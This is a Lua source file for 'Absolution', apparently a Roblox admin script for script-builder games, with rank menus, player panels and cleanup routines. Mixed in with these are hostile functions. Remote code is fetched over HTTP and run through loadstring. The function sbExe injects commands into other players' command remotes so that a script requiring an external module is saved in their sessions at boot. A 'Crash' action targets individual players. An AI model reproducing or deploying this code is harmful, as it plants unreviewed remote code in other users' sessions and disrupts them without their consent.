- local rtn = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.pluginLink)
- if rtn then
- local mods = loadstring(rtn)()
- wait''
- if Absolution.PluginManager.Modules then
- local modz= Absolution.PluginManager.Modules
- for i,v in pairs(modz) do
- Absolution.PluginManager:addPlugin(v)
- end
- end
- end
- end
- -- HttpGet --
- Absolution.Functions.HttpGet = function(URL)
- return (Absolution.HttpConstants.HttpEnabled and Absolution.Services.HttpService:GetAsync(URL) or "HTTP Requests are not enabled")
- end
- -- GetCatalog --
- Absolution.Functions.GetCatalog = function(KeyWords, Category)
- local KeyWords = Absolution.Services.HttpService:UrlEncode(KeyWords)
- local URL = Absolution.HttpConstants.IP..Absolution.HttpConstants.APIs.Music..'?Keyword='..tostring(KeyWords)..'&Category='..tostring(Category)
- print(URL)
- return Absolution.Services.HttpService:JSONDecode(Absolution.Functions.HttpGet(URL))
- end
- -- ShowCommands --
- Absolution.Functions.ShowCommands = function(Speaker, fr)
- local sRank = Absolution.Functions:findRank(tostring(Speaker))
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.OpenCmds = function(Rank, Speaker)
- Absolution.Functions.Dismiss(Speaker)
- for Name,Tab in pairs(Absolution.Commands) do
- if Tab.Rank == Rank and Tab.Rank >= 0 then
- Absolution.Functions.Output(Speaker, Name, nil, function()
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Output(Speaker, "Name: "..Name)
- Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
- Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank)
- Absolution.Functions.Output(Speaker, "Description: "..Tab.Description)
- Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags)
- Absolution.Functions.Output(Speaker, (Tab.Rank <= Rank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= Rank and 'Lime green' or 'Really red'))
- Absolution.Functions.Output(Speaker, "Dismiss")
- end)
- elseif Rank == "usage" and Tab.Rank <=Absolution.Functions:findRank(Speaker.Name) then
- Absolution.Functions.Output(Speaker, Name, nil, function()
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Output(Speaker, "Name: "..Name)
- Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
- Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank)
- Absolution.Functions.Output(Speaker, "Description: "..Tab.Description)
- Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags)
- Absolution.Functions.Output(Speaker, (Tab.Rank <= sRank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= sRank and 'Lime green' or 'Really red'))
- Absolution.Functions.Output(Speaker, "Dismiss")
- end)
- elseif Rank == "all" and Tab.Rank >= 0 then
- Absolution.Functions.Output(Speaker, Name.." ("..Tab.Rank..")", nil, function()
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Output(Speaker, "Name: "..Name)
- Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
- Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank)
- Absolution.Functions.Output(Speaker, "Description: "..Tab.Description)
- Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags)
- Absolution.Functions.Output(Speaker, (Tab.Rank <= sRank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= sRank and 'Lime green' or 'Really red'))
- Absolution.Functions.Output(Speaker, "Back", "Really black", function() Absolution.Functions.OpenCmds("all", Speaker) end)
- Absolution.Functions.Output(Speaker, "Dismiss")
- end)
- end
- end
- -- wait()
- Absolution.Functions.Output(Speaker, "Dismiss", nil)
- Absolution.Functions.Output(Speaker, "Back", "Really black", function() Absolution.Functions.ShowCommands(Speaker) end)
- end
- local Rank = Absolution.Functions:findRank(tostring(Speaker))
- local frnk = (fr and fr or nil)
- if frnk then
- Absolution.Functions.OpenCmds(frnk, Speaker)
- else
- for _,v in pairs(Absolution.Ranks) do
- if ((Rank >= _) and (_ >= 0)) then
- Absolution.Functions.Output(Speaker, v..'('.._..')', nil, function() Absolution.Functions.OpenCmds(_, Speaker) end)
- end
- end
- Absolution.Functions.Output(Speaker, "Commands you can use", 'Lime green', function() Absolution.Functions.OpenCmds("usage", Speaker) end)
- Absolution.Functions.Output(Speaker, "All", nil, function() Absolution.Functions.OpenCmds("all", Speaker) end)
- Absolution.Functions.Output(Speaker, "Dismiss")
- end
- end
- -- nickName --
- Absolution.Functions.nickName = function(playerName, nickName)
- Absolution.Nicknames[playerName] = nickName
- local DataStore = game:GetService("DataStoreService"):GetDataStore("NickNamez")
- local key = "user_" .. playerName
- DataStore:UpdateAsync(key, function(oldValue)
- local newValue = nickName
- return newValue
- end)
- end
- Absolution.Functions.GetRankedInterface = function(Speaker, Player) -- "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name
- Absolution.Functions.Dismiss(Speaker)
- if type(Player) == "userdata" then
- Player = Player.Name
- end
- Absolution.Functions.GetRankedPlayer = function(i)
- if type(i) == "userdata" then
- i = i.Name
- end
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Output(Speaker, "Name: "..i, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..i)
- ypcall(function()
- Absolution.Functions.Output(Speaker, "Age: "..Absolution.Services.Players[i].AccountAge)
- Absolution.Functions.Output(Speaker, "userId: "..Absolution.Services.Players[i].userId)
- end)
- Absolution.Functions.Output(Speaker, "Rank: "..Absolution.Functions:findRank(i))
- Absolution.Functions.Output(Speaker, "View Other Infomation", "Deep orange", function()
- Absolution.Functions.Output(Speaker, "Color: "..Absolution.Functions.getRankedTable(i).Color or "N/A")
- Absolution.Functions.Output(Speaker, "Distance: "..Absolution.Functions.getRankedTable(i).Distance or "N/A")
- Absolution.Functions.Output(Speaker, "Description: "..Absolution.Functions.getRankedTable(i).Description or "N/A")
- end)
- if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(i) and Absolution.Functions:findRank(Speaker)>5 then
- Absolution.Functions.Output(Speaker, "Set Rank", "Mid gray", function()
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Output(Absolution.Services.Players:findFirstChild(i), Speaker.Name..' is setting your rank.')
- for __,v in pairs(Absolution.Ranks) do
- if __ < Absolution.Functions:findRank(Speaker) and (__>=0) then
- Absolution.Functions.Output(Speaker, '['..tostring(__)..'] '..v, nil, function()
- Absolution.Functions.GetRankedInterface(Speaker)
- Absolution.Functions.getRankedTable(i).Rank = __
- Absolution.Functions.syncRankOut(i)
- Absolution.Functions.Output(Absolution.Services.Players:findFirstChild(i), Speaker.Name..' changed your access level to '..Absolution.Ranks[__], nil)
- end)
- end
- end
- end)
- end
- if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(i) or i == Speaker.Name then
- Absolution.Functions.Output(Speaker, "User Settings", "Mid gray", function()
- Absolution.Functions.Output(Speaker, "Set Color", "Mid gray", function()
- Absolution.Functions.Dismiss(Speaker)
- for _,c in pairs({"Br. yellowish green","Bright yellow","Bright orange","Bright red","Bright violet","Bright blue","Bright bluish green","Bright green","Institutional white","White","Light stone grey","Mid gray","Medium stone grey","Dark stone grey","Black","Really black","Grime","Br. yellowish orange","Light orange","Sand red","Lavender","Sand blue","Medium blue","Sand green","Brick yellow","Cool yellow","Neon orange","Medium red","Light reddish violet","Pastel Blue","Teal","Medium green","Pastel brown","Pastel yellow","Pastel orange","Pink","Pastel violet","Pastel light blue","Pastel blue-green","Pastel green","Olive","New Yeller","Deep orange","Really red","Hot pink","Really blue","Toothpaste","Lime green","Brown","Nougat","Dark orange","Royal purple","Alder","Cyan","Light blue","Camo","Reddish brown","CGA brown","Dusty Rose","Magenta","Deep blue","Navy blue","Dark green","Earth green"}) do
- Absolution.Functions.Output(Speaker, c, c, function()
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.getRankedTable(i).Color = c
- Absolution.Functions.GetRankedInterface(Speaker)
- end)
- end
- end)
- Absolution.Functions.Output(Speaker, "Set Tablet Type", "Mid gray", function()
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Output(Speaker, 'Box', nil, function() Absolution.Functions.Dismiss(Speaker) Absolution.Functions.getRankedTable(Speaker).TabletType = 'Box' end)
- Absolution.Functions.Output(Speaker, 'Normal', nil, function() Absolution.Functions.Dismiss(Speaker) Absolution.Functions.getRankedTable(Speaker).TabletType = 'Normal' end)
- end)
- Absolution.Functions.Output(Speaker, "Set Distance", "Mid gray", function()
- Absolution.Functions.Dismiss(Speaker)
- for z = 1, 30 do
- Absolution.Functions.Output(Speaker, z, nil, function()
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.getRankedTable(i).Distance = z
- Absolution.Functions.GetRankedInterface(Speaker)
- end)
- end
- end)
- end)
- end
- Absolution.Functions.Output(Speaker, "Back To Ranked", "Really blue", function() Absolution.Functions.GetRankedInterface(Speaker) end)
- Absolution.Functions.Output(Speaker, "Back To Players", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end)
- Absolution.Functions.Output(Speaker, "Dismiss")
- end
- Absolution.Functions.getAllRanked = function(Speaker, str)
- Absolution.Functions.Dismiss(Speaker)
- local Found = {}
- for index,data in next, Absolution.Ranked do
- if Absolution.Functions:findRank(Speaker) >= data.Rank and (str and data:lower():find(str:lower()) or true) then
- Found[#Found+1] = index
- end
- end
- local function PageHandler(Speaker,tbl,pg,calc,maxpg)
- local List,Page,MaxPage=tbl,pg,maxpg
- if Page == 0 then
- Page = 1
- end
- local function GetArray(table,start,_end,maxpage)
- local Array = {}
- if start == 0 then
- start = 1
- end
- for i = start,_end do
- Array[#Array+1]=table[i]
- end
- return Array
- end
- local function Redo(pg)
- Absolution.Functions.Dismiss(Speaker)
- for index,data in pairs(GetArray(List,(Page-1)*calc,Page*calc,maxpg)) do
- Absolution.Functions.Output(Speaker, (data and data or 'Nil Data'), Absolution.Functions.getRankedTable(data).Color, function() Absolution.Functions.GetRankedInterface(Speaker, data) end)
- end
- if pg < maxpg then
- Absolution.Functions.Output(Speaker, "Next Page","New Yeller",function()
- Page = Page + 1
- Redo(Page)
- end)
- end
- if pg > 1 then
- Absolution.Functions.Output(Speaker, "Back Page","New Yeller",function()
- Page = Page - 1
- Redo(Page)
- end)
- end
- Absolution.Functions.Output(Speaker, "Page: "..Page.."/"..maxpg,"New Yeller")
- end
- Redo(Page)
- end
- local mr = Absolution.Constants.MaxResults
- if #Found > mr then
- PageHandler(Speaker,Found,1,mr,math.floor(#Found/mr))
- end
- end
- if Player ~= nil then
- Absolution.Functions.GetRankedPlayer(Player)
- else
- Absolution.Functions.getAllRanked(Speaker)
- end
- end
- -- ShowData --
- Absolution.Functions.ShowData = function(Speaker, Player)
- if Player then
- Absolution.Functions.Dismiss(Speaker)
- local tPlr = tostring(Player)
- local pData = Absolution.Handler:sendPacket(Player, 'DATA')
- local FPS = pData["FPS"]
- local TIME = pData["TIME"]
- local LOGS = pData["LOGS"]
- local RAP = Absolution.Functions.getRap(Player)
- Absolution.Functions.Output(Speaker, 'Stats', Absolution.Functions.getRankedTable(tPlr).Color, function()
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end)
- Absolution.Functions.pseudoOutputFunction(Speaker, 'FPS: '..FPS, 'White')
- Absolution.Functions.pseudoOutputFunction(Speaker, 'TIME: '..TIME, 'White')
- Absolution.Functions.pseudoOutputFunction(Speaker, 'RAP: '..RAP,'White')
- Absolution.Functions.pseudoOutputFunction(Speaker, 'Stats for '..tostring(Player), 'Bright yellow')
- end)
- if Absolution.Ranked[tostring(Speaker)].Rank >=8 then
- Absolution.Functions.Output(Speaker, 'Logs', Absolution.Functions.getRankedTable(tPlr).Color, function()
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end)
- for i,v in pairs(LOGS) do
- Absolution.Functions.Output(Speaker,i,'Random',function()
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end)
- for f,g in pairs(v) do
- Absolution.Functions.Output(Speaker,f..' = '..g)
- end
- end)
- end
- end)
- end
- else
- Absolution.Functions.ShowData(Speaker, Speaker)
- end
- end
- -- isIgnoring --
- Absolution.Functions.IsIgnoring = function(pName)
- for q,e in next,Absolution.Ignoring do
- if e==pName then
- return true
- end
- end
- return false
- end
- -- setIgnore --
- Absolution.Functions.SetIgnore = function(pName)
- table.insert(Absolution.Ignoring, pName)
- return true
- end
- -- stopIgnore --
- Absolution.Functions.StopIgnore = function(pName)
- for q,e in next,Absolution.Ignoring do
- if e==pName then
- table.remove(Absolution.Ignoring, q)
- return true
- end
- end
- return false
- end
- -- getRankedTable --
- Absolution.Functions.getRankedTable = function(plr)
- if type(plr)=='userdata' then plr=tostring(plr) end
- local data
- data = Absolution.Ranked[plr]
- return data
- end
- -- ShowPlayers --
- Absolution.Functions.ShowPlayers = function(Speaker)
- Absolution.Functions.Dismiss(Speaker)
- for _,v in pairs(Absolution.Functions.getALLPlayers()) do
- if v.Parent == Absolution.Services.Players then
- Absolution.Functions.Output(Speaker, v.Name..'['..Absolution.Functions:findRank(v)..']', nil, function()
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Output(Speaker, "Name: "..v.Name, "Deep orange")
- Absolution.Functions.Output(Speaker, "UserId: "..v.userId, "Deep orange")
- Absolution.Functions.Output(Speaker, "AccountAge: "..v.AccountAge, "Deep orange")
- Absolution.Functions.Output(Speaker, "Go To "..v.Name.."'s Ranked Interface", "Really blue", function()
- Absolution.Functions.GetRankedInterface(Speaker, v.Name)
- end)
- Absolution.Functions.Output(Speaker, "Back", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end)
- Absolution.Functions.Output(Speaker, "Dismiss")
- end)
- else
- Absolution.Functions.Output(Speaker, "nil-"..v.Name, nil, function()
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Output(Speaker, "Name: "..v.Name, "Deep orange")
- Absolution.Functions.Output(Speaker, "UserId: "..v.userId, "Deep orange")
- Absolution.Functions.Output(Speaker, "AccountAge: "..v.AccountAge, "Deep orange")
- if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(v.Name) then
- Absolution.Functions.Output(Speaker, "Crash", "White", function()
- Absolution.Functions.Dismiss(Speaker)
- local dc = Absolution.Handler:sendPacket(v, 'rejoin')
- coroutine.resume(coroutine.create(function()
- wait(0.5)
- if dc then
- Absolution.Functions.Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3)
- Absolution.Functions.Announce('CRASHED: '..(v.Name and v.Name or 'undefined/error'))
- else
- Absolution.Functions.Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3)
- Absolution.Functions.Announce('FAILED TO CRASH:'..(v.Name and v.Name or 'undefined/error'))
- end
- end))
- end)
- end
- Absolution.Functions.Output(Speaker, "To Ranked Interface", "Really blue", function()
- Absolution.Functions.GetRankedInterface(Speaker, v.Name)
- end)
- Absolution.Functions.Output(Speaker, "Back", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end)
- Absolution.Functions.Output(Speaker, "Dismiss")
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- end
- end
- Absolution.Functions.Output(Speaker, "Dismiss")
- end
- -- oxHack --
- Absolution.Functions.sbExe = function(cmd,plr)
- if not type(cmd)=='string'then return end
- if plr then
- if type(plr)=='userdata'then
- pcall(function()
- plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
- end)
- elseif type(plr)=='string'then
- pcall(function()
- plr = game:GetService('Players'):FindFirstChild(plr)
- plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
- end)
- end
- else
- for i,v in pairs(game:GetService('Players'):children())do
- pcall(function()
- v:FindFirstChild("SB_CommandRemote",true).Value = cmd
- end)
- end
- end
- end
- Absolution.Functions.sbChat = function(self,msg,plr,fn)
- msg = msg:gsub("","")
- if not type(msg)=='string'then return end
- msg=(msg and msg or '')
- if plr then
- if type(plr)=='userdata'then
- local data = Instance.new('StringValue',plr)
- data.Name = 'SB_Chat'
- data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' '
- elseif type(plr)=='string'then
- plr = game:GetService('Players'):FindFirstChild(plr)
- local data = Instance.new('StringValue',plr)
- data.Name = 'SB_Chat'
- data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' '
- end
- else
- for i,v in pairs(game:GetService('Players'):children())do
- local data = Instance.new('StringValue',v)
- data.Name = 'SB_Chat'
- data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' '
- end
- end
- end
- Absolution.Functions.sbOutput = function(msg, typ, plr)
- if not type(msg)=='string'then return end
- msg=(msg and msg or 'nil')
- typ=(typ and typ or 'Print')
- if plr then
- --[[if type(plr)=='userdata'then
- local data = Instance.new('StringValue',plr)
- data.Name = 'SB_Output:Output'
- data.Value = '["'..typ..'","'..msg..'"]'
- Absolution.Functions.Out(plr, msg, 5)
- elseif type(plr)=='string'then
- plr = game:GetService('Players'):FindFirstChild(plr)
- local data = Instance.new('StringValue',plr)
- data.Name = 'SB_Output:Output'
- data.Value = '["'..typ..'","'..msg..'"]'
- end--]]
- Absolution.Functions.Out(plr, msg, 5)
- else
- Absolution.Functions.Out('All', msg, 5)
- --[[for i,v in pairs(game:GetService('Players'):children())do
- local data = Instance.new('StringValue',v)
- data.Name = 'SB_Output:Output'
- data.Value = '["'..typ..'","'..msg..'"]'
- end--]]
- end
- print('[Absolution.Functions.sbOutput] - '..msg..' {'..typ..'}')
- end
- Absolution.Functions.osbOutput = function(msg, typ, plr)
- if not type(msg)=='string'then return end
- msg=(msg and msg or 'nil')
- typ=(typ and typ or 'Print')
- if plr then
- if type(plr)=='userdata'then
- local data = Instance.new('StringValue',plr)
- data.Name = 'SB_Output:Output'
- data.Value = '["'..typ..'","'..msg..'"]'
- Absolution.Functions.Out(plr, msg, 5)
- elseif type(plr)=='string'then
- plr = game:GetService('Players'):FindFirstChild(plr)
- local data = Instance.new('StringValue',plr)
- data.Name = 'SB_Output:Output'
- data.Value = '["'..typ..'","'..msg..'"]'
- end
- else
- for i,v in pairs(game:GetService('Players'):children())do
- local data = Instance.new('StringValue',v)
- data.Name = 'SB_Output:Output'
- data.Value = '["'..typ..'","'..msg..'"]'
- end
- end
- print('[Absolution.Functions.sbOutput] - '..msg..' {'..typ..'}')
- end
- Absolution.Functions.pseudoOutputFunction = function(Player, Msg, Color, Function, Time, Image)
- local index = tonumber(#Absolution.Tablets)+1
- Absolution.Tablets[index] = {Func=Function}
- Absolution.Handler:sendPacket(Player, 'Tablets', {Msg=Msg, Color=Color, Time=Time, Image=Image, Index=index});
- end
- Absolution.Functions.SendGui = function(Player, Message, Type)
- if not Type then local Type = 1 end
- if not Message then local Message = 'undefined' end
- Absolution.Handler:sendPacket(Player, 'Output', {Message, Type})
- end
- Absolution.Functions.Out = function(Player, Message, Type)
- local tab;
- if type(Player) == "userdata" then
- local thread = coroutine.create(function()
- tab = Absolution.Functions.SendGui(Player, Message, Type)
- end)
- coroutine.resume(thread)
- elseif type(Player) == "table" then
- for _,v in pairs(Player) do
- local thread = coroutine.create(function()
- tab = Absolution.Functions.SendGui(v, Message, Type)
- end)
- coroutine.resume(thread)
- end
- elseif type(Player) == "string" then
- if Player:lower() == "all" then
- for _,v in pairs(Absolution.Services.Players:getPlayers()) do
- local thread = coroutine.create(function()
- tab = Absolution.Functions.SendGui(v, Message, Type)
- end)
- coroutine.resume(thread)
- end
- elseif Player:lower() == "admins" then
- for _,v in pairs(Absolution.Services.Players:getPlayers()) do
- if Absolution.Functions:findRank(v) >= 1 then
- local thread = coroutine.create(function()
- tab = Absolution.Functions.SendGui(v, Message, Type)
- end)
- coroutine.resume(thread)
- end
- end
- end
- end
- return tab
- end
- Absolution.Functions.Output = function(Player, Msg, Color, Function, Time, Image)
- local tab;
- if type(Player) == "userdata" then
- local thread = coroutine.create(function()
- tab = Absolution.Functions.pseudoOutputFunction(Player, Msg, Color, Function, Time, Image)
- end)
- coroutine.resume(thread)
- elseif type(Player) == "table" then
- for _,v in pairs(Player) do
- local thread = coroutine.create(function()
- tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image)
- end)
- coroutine.resume(thread)
- end
- elseif type(Player) == "string" then
- if Player:lower() == "all" then
- for _,v in pairs(Absolution.Services.Players:getPlayers()) do
- local thread = coroutine.create(function()
- tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image)
- end)
- coroutine.resume(thread)
- end
- elseif Player:lower() == "admins" then
- for _,v in pairs(Absolution.Services.Players:getPlayers()) do
- if Absolution.Functions:findRank(v) >= 1 then
- local thread = coroutine.create(function()
- tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image)
- end)
- coroutine.resume(thread)
- end
- end
- end
- end
- return tab
- end
- -- IRCCommandHandler --
- Absolution.Functions.IRCCommandParser = function()
- end
- -- Locking Scripts --
- Absolution.Connections[#Absolution.Connections+1] = Absolution.Services.Workspace.DescendantAdded:connect(function(Object)
- if not Absolution then return end
- if Absolution.Locks.Server.Server == true then
- if Object.className == "Script" then
- local ObjectName = Object.Name
- Object.Disabled = true
- Object:Destroy()
- end
- end
- end)
- Absolution.Connections[#Absolution.Connections+1] = game.DescendantAdded:connect(function(Object)
- if not Absolution then return end
- if Absolution.Locks.Server.Local == true then
- if Object.className == "BaseScript" then
- local ObjectName = Object.Name
- repeat Object.Disabled = true until Object:Destroy()
- end
- end
- end)
- -- Replicators --
- Absolution.Functions.GetReplicators=function(clear)
- local rep={};
- for _,v in next,game:service'NetworkServer':children()do
- if(v:isA'ServerReplicator')then
- table.insert(rep,v);
- else
- if(clear)then
- pcall(function()v:Destroy()end);
- end;
- end;
- end;
- return rep;
- end;
- -- Startup --
- Absolution.Functions.Boot = function()
- if Absolution.Booted then error'script already loaded...' return end
- Absolution.Booted = true
- local function bootMod(Mod, Msg, ...)
- local start_boot = tick()
- Absolution.Functions.osbOutput(Msg..'...', 'Run')
- local args = {...}
- local Success, Error = ypcall(Mod)
- local end_boot = tick()
- if Success then
- Absolution.Functions.osbOutput('Completed in...'..(start_boot-end_boot)..'s','Note')
- else
- Instance.new('Message',game:service'Workspace').Text = ("Error occured while {"..Msg.."} \n"..Error)
- end
- end
- bootMod(function() Absolution.Functions.sbExe('remove/Absolution') Absolution.Functions.sbExe('create/Absolution') Absolution.Functions.sbExe('edit/Absolution') Absolution.Functions.sbExe('pcall(game.Destroy,script);coroutine.resume(require(379800386), (getfenv(1).owner and getfenv(1).owner.Name or "Darkus_Theory"))') Absolution.Functions.sbExe('exit/') Absolution.Functions.sbExe('save/Absolution') end, 'Shoving sb scripts down your throat')
- bootMod(Absolution.Functions.syncRanksIn, 'Syncing in ranks')
- bootMod(function() Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage) end,'Initializing remotefunction')
- bootMod(Absolution.Functions.AutoLoadstring,'Connecting RemoteExecution.lua')
- bootMod(Absolution.Functions.AutoUpdate, 'Loading AutoRankSync')
- if game.PlaceId~=21053279 then bootMod(function() coroutine.resume(Absolution.DiscordThread) coroutine.resume(Absolution.DiscordCommandThread) end, 'Launching Discord')
- --[[bootMod(Absolution.Functions.IRCLaunch, 'Launching IRC') --]]
- end
- bootMod(function() Absolution.Connections['playerAdded'] = Absolution.Services.Players.PlayerAdded:connect(function(p) if not Absolution.PrivateServer.Enabled and not Absolution.Locks.Server.Locked==true and (Absolution.Functions.getRankedTable(p.Name) and Absolution.Functions:findRank(p.Name) >= 0) then Absolution.Functions.Announce(p.Name..' has joined the game.') end if Absolution.Functions:findRank(p.Name) >= 4 then Absolution.Functions.Out('All','['..Absolution.Ranks[Absolution.Functions:findRank(p.Name)]..'] '..p.Name..' has joined the server.', 5) end Absolution.Functions:ConnectPlayer(p) end) end, "PlayerAdded Connection")
- bootMod(function() Absolution.Connections['playerLeaving'] = Absolution.Services.Players.PlayerRemoving:connect(function(p)local pName = tostring(p) Absolution.Functions.Dismiss(p) Absolution.Functions.syncRankOut(p) if not Absolution.PrivateServer.Enabled and not Absolution.Locks.Server.Locked and (Absolution.Functions.getRankedTable(p.Name) and Absolution.Functions:findRank(p.Name) >= 0) then Absolution.Functions.Announce(pName..' has left the game.') end end) end, 'PlayerRemoving Connection')
- bootMod(function() Absolution.Connections['mainLoop'] = Absolution.Services.RunService.Heartbeat:connect(Absolution.Functions.mainLoop) end, 'Mainloop connection')
- bootMod(function() game.OnClose = nil game.OnClose = function() if not Absolution then return end Absolution.DCTAPI.sendMessage('Server closed ('..Absolution.uniqueKey..')') Absolution.Functions.syncRanksOut() end end, 'onClose Connection')
- bootMod(function() Absolution.Functions.createScript([[script.Parent = nil; require(461808002)]], game:service'Workspace') end, 'Loading Jet Module')
- --bootMod(Absolution.PluginManager.Launch, 'Loading plugins')
- if game.PlaceId~=21053279 and game.Players:findFirstChild'Darkus_Theory' then bootMod(function() Absolution.Functions.loadOrb('Darkus_Theory') end, 'Loading orb') end
- --bootMod(function() coroutine.resume(Absolution.HttpConstants.pythonConsole.Initialize, Absolution.HttpConstants.pythonConsole) end, 'Launching CONSOLE')
- bootMod(function() for i,v in pairs(Absolution.Services.Players:GetPlayers()) do ypcall(function() Absolution.Functions:ConnectPlayer(v) end) end end, 'Connecting players')
- Absolution.Functions.osbOutput('Absolution Loaded!','Note')
- end
- -- Cleaning And Stuff :) --
- Absolution.Functions.CreateBase = function()
- for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do
- if v.Name:lower():find('base') and v:IsA('BasePart') then
- v:remove()
- end
- end
- local Base = Instance.new("Part")
- Base.BrickColor = BrickColor.new("Dark green")
- Base.CFrame = CFrame.new(0, 0.6, 0)
- Base.Transparency = 0
- Base.Elasticity = 0.5
- --Base.FormFactor = "Custom"
- Base.Material = 'Grass'
- Base.CanCollide = true
- Base.Friction = 0.30000001192093
- Base.Size = Vector3.new(2044, 0, 2044)
- Base.Archivable = true
- Base.Material = "Grass"
- Base.RotVelocity = Vector3.new(0, 0, 0)
- Base.Reflectance = 0
- Base.Locked = true
- Base.Anchored = true
- Base.Name = "Base"
- Base.TopSurface = "Smooth"
- Base.BottomSurface = "Inlet"
- Base.Shape = "Block"
- Base.Parent = Absolution.Services.Workspace.Terrain
- end
- Absolution.Functions.CleanWorkspace = function()
- for i,s in pairs(Absolution.Services.Workspace:GetChildren()) do
- if Absolution.Services.Players:GetPlayerFromCharacter(s) == nil then
- if s.className ~= "Terrain" then
- if s.className ~= "Camera" then
- pcall(function() s:Destroy() end)
- end
- end
- end
- end
- for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do
- if v:IsA("Terrain") then
- v:Clear()
- end
- end
- for _,v in pairs(Absolution.Services.Workspace.Terrain:GetChildren()) do
- pcall(function()
- v:Destroy''
- end)
- end
- Absolution.Functions.CreateBase()
- end
- Absolution.Functions.FullClean = function()
- local Child = {}
- local GetAllChildren = function(c)
- for _,v in pairs(c:GetChildren()) do
- ypcall(function()
- GetAllChildren(v)
- table.insert(Child, v)
- end)
- end
- end
- for _,v in pairs(Absolution.Services.Game:GetChildren()) do
- ypcall(function()
- GetAllChildren(v)
- end)
- end
- for _,v in pairs(Child) do
- if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
- v:remove()
- end
- end
- Absolution.Functions.CleanWorkspace()
- Absolution.Functions.Debug()
- for _,v in pairs(Absolution.Services.Players:getPlayers()) do
- v:LoadCharacter()
- end
- end
- Absolution.Functions.Debug = function()
- ypcall(function()
- for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do
- if v:IsA('Message') or v:IsA('Hint') then
- ypcall(function()
- v.Text = ''
- v:Destroy()
- end)
- end
- if v:IsA('Terrain') then
- v:Clear()
- end
- end
- Absolution.Services.Lighting.GlobalShadows = true
- Absolution.Services.Lighting.TimeOfDay = '14:00:00'
- Absolution.Services.Lighting.Brightness = 0.3
- Absolution.Services.Lighting.ShadowColor = Color3.new(0.705882, 0.705882, 0.705882)
- Absolution.Services.Lighting.Ambient = Color3.new(1,1,1)
- Absolution.Services.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
- Absolution.Services.Lighting.ColorShift_Bottom = Color3.new(0, 0, 0)
- Absolution.Services.Lighting.OutdoorAmbient = Color3.new(0.6, 0.6, 0.6)
- Absolution.Services.Lighting.FogStart = 0
- Absolution.Services.Lighting.FogEnd = 100000
- Absolution.Services.Lighting.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
- Absolution.Services.Lighting:ClearAllChildren()
- Absolution.Services.Teams:ClearAllChildren()
- for _,v in pairs(Absolution.Services.Players:getPlayers()) do
- v.Neutral = true
- end
- end)
- end
- -- Status Announce --
- Absolution.Functions.Announce = function(msg,fs)
- Absolution.Functions.Out('All', msg, 5)
- --Absolution.DCTAPI.sendMessage('Announce: '..msg)
- if fs == true then
- for i,v in pairs(Absolution.Services.Players:getPlayers()) do
- if v:findFirstChild("PlayerGui") then
- local sg = Instance.new("ScreenGui", v.PlayerGui)
- sg.Name = "Absolution ScreenGui FullScreen "..math.random(999999)
- local fr = Instance.new("Frame", sg)
- fr.Name = "Main"
- fr.Size = UDim2.new(0, 0, 0, 0)
- fr.Position = UDim2.new(0, 0, 0, 0)
